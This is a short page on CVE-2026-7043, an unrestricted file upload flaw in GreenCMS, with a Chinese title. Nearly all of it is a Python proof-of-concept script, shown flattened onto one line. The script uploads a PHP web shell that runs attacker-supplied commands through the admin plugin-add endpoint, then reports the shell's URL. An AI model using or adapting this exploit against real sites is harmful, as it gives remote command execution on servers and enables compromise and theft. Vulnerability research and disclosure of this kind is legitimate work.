CVE-2026-7043 GreenCMS 任意文件上传漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-7043: GreenCMS Unrestricted File Upload import requests def exploit(url, shell_name): target_url = f"{url}/index.php?m=admin&c=custom&a=pluginadd" # Prepare a malicious PHP file files = { 'file': (shell_name, '<?php system($_POST["cmd"]); ?>', 'application/octet-stream') } # Note: Authentication cookies might be required based on PR:L cookies = { 'PHPSESSID': 'your_session_id_here' } try: response = requests.post(target_url, files=files, cookies=cookies) if response.status_code == 200: print(f"[+] File uploaded successfully. Check at: {url}/uploads/{shell_name}") else: print(f"[-] Upload failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://localhost" exploit(target, "shell.php")